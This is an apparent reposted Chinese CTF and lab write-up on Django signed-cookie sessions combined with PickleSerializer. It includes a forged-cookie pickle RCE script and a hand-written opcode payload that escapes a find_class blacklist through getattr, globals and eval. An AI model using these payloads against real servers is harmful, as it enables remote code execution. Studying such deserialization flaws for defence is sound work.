由Django-Session配置引发的反序列化安全问题

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
  2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
  3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
  4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
  5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. ‘django.contrib.sessions.serializers.JSONSerializer’:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
  2. ‘django.contrib.sessions.serializers.PickleSerializer’:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):"""Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key isNone, use settings.SECRET_KEY instead.If compress is True (not the default), check if compressing using zlib cansave some space. Prepend a '.' to signify compression. This is includedin the signature, to protect against zip bombs.Salt can be used to namespace the hash, so that a signed string isonly valid for a given namespace. Leaving this at the defaultvalue or re-using a salt value across different parts of yourapplication without good cause is a security risk.The serializer is expected to return a bytestring."""data = serializer().dumps(obj)		# 使用选定的类进行序列化# Flag for if it's been compressed or notis_compressed = False# 数据压缩处理if compress:# Avoid zlib dependency unless compress is being usedcompressed = zlib.compress(data)if len(compressed) < (len(data) - 1):data = compressedis_compressed = Truebase64d = b64_encode(data).decode()			# base64编码 decode转化成字符串if is_compressed:base64d = '.' + base64dreturn TimestampSigner(key, salt=salt).sign(base64d)	# 返回一个签名值# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):"""Reverse of dumps(), raise BadSignature if signature fails.The serializer is expected to accept a bytestring."""# TimestampSigner.unsign() returns str but base64 and zlib compression# operate on bytes.base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()decompress = base64d[:1] == b'.'if decompress:# It's compressed; uncompress it firstbase64d = base64d[1:]data = b64_decode(base64d)if decompress:data = zlib.decompress(data)return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:def __init__(self, key=None, sep=':', salt=None):# Use of native strings in all versions of Pythonself.key = key or settings.SECRET_KEY	# key默认为settings中的配置项			self.sep = sepif _SEP_UNSAFE.match(self.sep):raise ValueError('Unsafe Signer separator: %r (cannot be empty or consist of ''only A-z0-9-_=)' % sep,)self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)def signature(self, value):# 利用salt、value、key做一次签名return base64_hmac(self.salt + 'signer', value, self.key)def sign(self, value):return '%s%s%s' % (value, self.sep, self.signature(value))def unsign(self, signed_value):if self.sep not in signed_value:raise BadSignature('No "%s" found in value' % self.sep)value, sig = signed_value.rsplit(self.sep, 1)if constant_time_compare(sig, self.signature(value)):return valueraise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):def timestamp(self):return baseconv.base62.encode(int(time.time()))def sign(self, value):value = '%s%s%s' % (value, self.sep, self.timestamp())return super().sign(value)def unsign(self, value, max_age=None):"""Retrieve original value and check it wasn't signed morethan max_age seconds ago."""result = super().unsign(value)value, timestamp = result.rsplit(self.sep, 1)timestamp = baseconv.base62.decode(timestamp)if max_age is not None:if isinstance(max_age, datetime.timedelta):max_age = max_age.total_seconds()# Check timestamp is not older than max_ageage = time.time() - timestampif age > max_age:raise SignatureExpired('Signature age %s > %s seconds' % (age, max_age))return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

image-20231009201626771

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

  • 老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

image-20231009195204458

  • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

image-20231009195521704

  • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

image-20231009195847424

image-20231009200451030

  • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

image-20231009200700904

image-20231009200837563

image-20231009200846377

  • loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

image-20231009201813801

漏洞利用

首先利用条件如下:

image-20231009113436367

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import os
import django.core.signing
import requests# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""protocol = pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"class exp():def __reduce__(self):# 返回一个callable 及其参数的元组return os.system, (('calc.exe'),)_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

image-20231009202058822

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickle
import io
import builtins__all__ = ('PickleSerializer', )class RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法# Only allow safe classes from builtins.if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内return getattr(builtins, name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))class PickleSerializer():def dumps(self, obj):return pickle.dumps(obj)def loads(self, data):try:# 校验data是否为字符串if isinstance(data, str):raise TypeError("Can't load pickle from unicode string")file = io.BytesIO(data)                     # 读取datareturn RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()except Exception as e:return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:def __init__(self, name):self.name = name# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")# 可以设置default值
age = getattr(person, "age", 30)
print(age)builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

image-20231010215502906

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')		# GLOBAL为导入
dict = GLOBAL('builtins', 'dict')		
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()				
__builtins__ = dict_get(builtins, '__builtins__')			# 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

image-20231010214357341

查看Django.core.signing模块,复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"def b64_encode(s):return base64.urlsafe_b64encode(s).strip(b"=")base64d = b64_encode(PayloadToBeEncoded).decode()def exp(key, payload):global salt# Flag for if it's been compressed or not.is_compressed = Falsecompress = Falseif compress:# Avoid zlib dependency unless compress is being used.compressed = zlib.compress(payload)if len(compressed) < (len(payload) - 1):payload = compressedis_compressed = Truebase64d = b64_encode(payload).decode()if is_compressed:base64d = "." + base64dsession = signing.TimestampSigner(key=key, salt=salt).sign(base64d)print(session)

然后传session即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/164645.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL INSERT INTO 语句(在表中插入)

SQL INSERT INTO 语句 INSERT INTO 语句用于向表中插入新的数据行。 SQL INSERT INTO 语法 INSERT INTO 语句可以用两种形式编写。  第一个表单没有指定要插入数据的列的名称&#xff0c;只提供要插入的值&#xff0c;即可添加一行新的数据&#xff1a; INSERT INTO table_n…

【C语言必知必会| 第七篇】循环结构入门,这一篇就够了

引言 C语言是一门面向过程的、抽象化的通用程序设计语言&#xff0c;广泛应用于底层开发。它在编程语言中具有举足轻重的地位。 此文为【C语言必知必会】系列第七篇&#xff0c;介绍C语言的循环结构&#xff0c;结合专题优质题目&#xff0c;带领读者从0开始&#xff0c;深度掌…

【算法|动态规划No.22】leetcode115. 不同的子序列

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

构建跨平台应用程序:Apollo在移动开发中的应用

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…

ubuntu终端命令行下如何使用NetworkManager(netplan)来配置wifi网络

最近在给家里折腾一个文件共享服务器给家里的小米摄像头保存监控视频用。树莓派太贵了&#xff0c;找来找去发现香橙派orangepi zero3 是最低成本的替代解决方案&#xff08;网络足够快&#xff0c;CPU的IO能力足够强&#xff09;&#xff0c;香橙派orangepi zero3的操作系统是…

electron学习笔记

electron&#xff1a;大前端背景下&#xff0c;用node.js做桌面端app的工具 1、安装&#xff1a;npm i electron 实际上是chromium Node.js 2、创建一个窗口 3、主进程&#xff08;操作硬件等&#xff0c;commonJS&#xff09;与渲染进程&#xff08;渲染页面&#xff0c;E…

凉鞋的 Godot 笔记 202. 变量概述与简介

202. 变量概述与简介 想要用好变量不是一件简单的事情&#xff0c;因为变量需要命名。 我们可以从两个角度去看待一个变量&#xff0c;第一个角度是变量的功能&#xff0c;第二个是变量的可读性。 变量的功能其实非常简单&#xff0c;变量可以存储一个值&#xff0c;这个值是…

Godot2D角色导航-自动寻路教程(Godot获取导航路径)

文章目录 开始准备获取路径全局点坐标 开始准备 首先创建一个导航场景&#xff0c;具体内容参考下列文章&#xff1a; Godot实现角色随鼠标移动 然后我们需要设置它的导航目标位置&#xff0c;具体关于位置的讲解在下面这个文章&#xff1a; Godot设置导航代理的目标位置 获取…

Git基本命令和使用

文章目录 1、Git本地库命令1.1、初始化本地库1.2、设置用户签名1.3、查看本地库状态1.4、将工作区的修改添加到暂存区1.5、将暂存区的修改提交到本地库1.6、历史版本 2、分支操作2.1、查看分支2.2、创建分支2.3、分支合并时产生冲突 3、Gitee远程库实操3.1、克隆远程仓库3.2、创…

基于react18+arco+zustand通用后台管理系统React18Admin

React-Arco-Admin轻量级后台管理系统解决方案 基于vite4构建react18后台项目ReactAdmin。使用了reactarco-designzustandbizcharts等技术架构非凡后台管理框架。支持 dark/light主题、i18n国际化、动态路由鉴权、3种经典布局、tabs路由标签 等功能。 技术框架 编辑器&#xff…

(原创)实现左侧TextView宽度自适应并且可以显示右侧TextView的布局

效果展示 先来看看上面的效果 左侧的文字宽度是自适应的&#xff0c;但是右侧又有一个TextView 左侧的文字被限制不能把右侧的挤出屏幕外面 所以如果左侧文字超过指定宽度后多余部分就用省略号表示 实际开发中这种情况在一些列表的item中用的比较多 但实际实现的时候会发现 左侧…

常见问题-找不到vcruntime140.dll无法继续执行代码解决方案

本文将介绍五种不同的解决方案&#xff0c;帮助大家解决这个问题。 首先&#xff0c;我们需要了解为什么会出现找不到vcruntime140.dll的情况。这种情况通常是由于以下几个原因导致的&#xff1a; 1. 系统环境变量设置不正确&#xff1a;系统环境变量中可能没有包含vcruntime…

C++QT---QT-day3

#include "widget.h" #include "ui_widget.h" //需要在.pro文件第一行加 texttospeechWidget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);ui->lineEdit->setPlaceholderText("时:分:秒");//设…

华为ICT——云计算基础知识、计算类技术听课笔记

ICT(information and communications technology):信息与通信技术 传统IT架构缺点 TCO&#xff1a;总体拥有成本 云计算模式 云计算价值 云计算通用点 虚拟化技术&#xff1a;将单台物理服务器虚拟为多台虚拟机使用&#xff0c;多台虚拟机共享物理服务器硬件资源。 虚拟化本质…

服务器往浏览器推消息(SSE)应用

1&#xff0c;SSE 和 WebSocket 对比 SSE&#xff08;服务器发送事件&#xff09; SSE是一种基于HTTP的单向通信机制&#xff0c;用于服务器向客户端推送数据。它的工作原理如下&#xff1a; 建立连接&#xff1a;客户端通过发送HTTP请求与服务器建立连接。在请求中&#xff…

Python特征分析重要性的常用方法

前言 特征重要性分析用于了解每个特征(变量或输入)对于做出预测的有用性或价值。目标是确定对模型输出影响最大的最重要的特征&#xff0c;它是机器学习中经常使用的一种方法。 为什么特征重要性分析很重要? 如果有一个包含数十个甚至数百个特征的数据集&#xff0c;每个特征…

Oracle database 开启归档日志 archivelog

Oracle database 开启归档日志 archivelog 归档日志模式 (Archivelog Mode)。归档日志模式是一种数据库运行模式&#xff0c;它允许数据库将日志文件保存到归档日志目录中&#xff0c;以便在需要时进行恢复和还原操作。通过开启归档日志模式&#xff0c;可以提高数据库的可靠性…

驱动day2:LED灯实现三盏灯的亮灭

head.h #ifndef __HEAD_H__ #define __HEAD_H__ #define PHY_PE_MODER 0x50006000 #define PHY_PF_MODER 0x50007000 #define PHY_PE_ODR 0x50006014 #define PHY_PF_ODR 0x50007014 #define PHY_RCC 0x50000A28#endif 应用程序 #include <stdio.h> #include <sys/…

通讯网关软件026——利用CommGate X2ORACLE-U实现OPC UA数据转入ORACLE

本文介绍利用CommGate X2ORACLE-U实将OPC UA数据源中的数据转入到ORACLE数据库。CommGate X2ORACLE-U是宁波科安网信开发的网关软件&#xff0c;软件可以登录到网信智汇(http://wangxinzhihui.com)下载。 【案例】如下图所示&#xff0c;将OPC UA数据源的数据写入到ORACLE数据…

利用Nginx可视化管理工具+Cpolar实现本地服务远程访问

文章目录 前言1. docker 一键安装2. 本地访问3. Linux 安装cpolar4. 配置公网访问地址5. 公网远程访问6. 固定公网地址 前言 Nginx Proxy Manager 是一个开源的反向代理工具&#xff0c;不需要了解太多 Nginx 或 Letsencrypt 的相关知识&#xff0c;即可快速将你的服务暴露到外…